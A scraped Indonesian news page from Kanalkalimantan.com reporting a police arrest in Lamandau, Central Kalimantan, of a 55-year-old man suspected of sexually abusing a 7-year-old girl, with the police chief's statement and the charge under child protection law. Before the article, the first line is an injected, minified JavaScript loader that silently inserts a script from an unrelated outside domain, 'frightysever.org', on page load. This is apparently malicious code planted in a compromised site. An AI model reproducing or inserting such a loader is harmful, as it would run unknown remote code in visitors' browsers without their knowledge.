(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Lamandau

Anak Perempuan 7 Tahun Disuruh Pegang ‘Itu’ Lalu Dipangku, R Jadi Tahanan Polres Lamandau


KANALKALIMANTAN.COM, NANGA BULIK
Seorang lelaki inisial R (55) warga Kabupaten Lamandau, Provinsi Kalimantan Tengah, harus berurusan dengan pihak berwajib.

Penyebabnya adalah lelaki 55 tahun tersebut diduga telah berbuat cabul kepada anak perempuan yang masih berusia 7 tahun, di mess perusahaan perkebunan kelapa sawit yang ada di Kabupaten Lamandau.

Peristiwa tersebut terungkap setelah ibu korban mencari keberadaan anaknya yang tidak berada di rumah dan menemukan anaknya bersama R sedang berada dalam kamar salah satu mess perusahaan perkebunan kelapa sawit.

Hal tersebut disampaikan Kapolres LamandauAKBP Bronto Budiyono SIK didampingi Kasatreskrim Iptu Faisal Firma Gani STK SIK saat konferensi pers di Mapolres Lamandau, Jumat (4/11/2022) pagi.

 

Baca juga : Bambang Hari Resmi Dilantik Jadi Kepala Lapas Kelas III Batulicin

“Kejadian berawal saat ibu korban sedang mencari keberadaan anaknya yang tidak ada di rumah. Sebelumnya ia melihat anaknya bersama R tetangganya,” kata Kapolres Lamandau.

Saat mencari anaknya di mess R dalam keadaan kosong. Selanjutnya ibu korban mencari anaknya di mess milik anak R. Di mess tersebut ibu korban melihat sandal anaknya dan pintu mess dalam keadaan tertutup.

Lalu ibu korban memanggil nama anaknya, namun tidak ada jawaban. Selanjutnya ibu korban membuka pintu mess dan membuka pintu kamar, menemukan anaknya sedang memakai celananya. Selanjutnya membawa anaknya tersebut pulang.

Merasa curiga ibu korban bertanya kepada anaknya apa yang terjadi. Korban menjawab disuruh R pegang burung dan selanjutnya dipangku. Mendengar pengakuan anaknya, orangtua korban melaporkan kepada pihak berwajib.

Baca juga  : 2.305 Tiang Fiber Optik “Bodong” Jejali Banjarbaru, PUPR Bakal Tertibkan!

“Saat ini R telah kami amankan. Dari hasil pemeriksaan pelaku mengakui perbuatannya. Pencabulan tersebut dilakukan R karena timbul hasrat seksualnya yang tidak bisa dikendalikannya,” ungkap Kapolres Lamandau.

Atas perbuatannya tersebut, R bakal dijerat Pasal 82 ayat (1)  Undang-Undang Republik Indonesia Nomor 17 Tahun 2016 tentang penetapan Peraturan Pemerintah Pengganti Undang-Undang Nomor 1 tahun 2016 tentang perubahan kedua atas Undang-Undang Nomor 23 tahun 2002 tentang perlindungan anak menjadi undang-undang, dengan ancaman hukuman 15 tahun penjara.
(Kanalkalimantan.com/habibullah)

Reporter : habi
Editor : kk


Desy Arfianty

Recent Posts

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

48 menit ago

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

2 jam ago

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

3 jam ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

18 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

21 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

1 hari ago

This website uses cookies.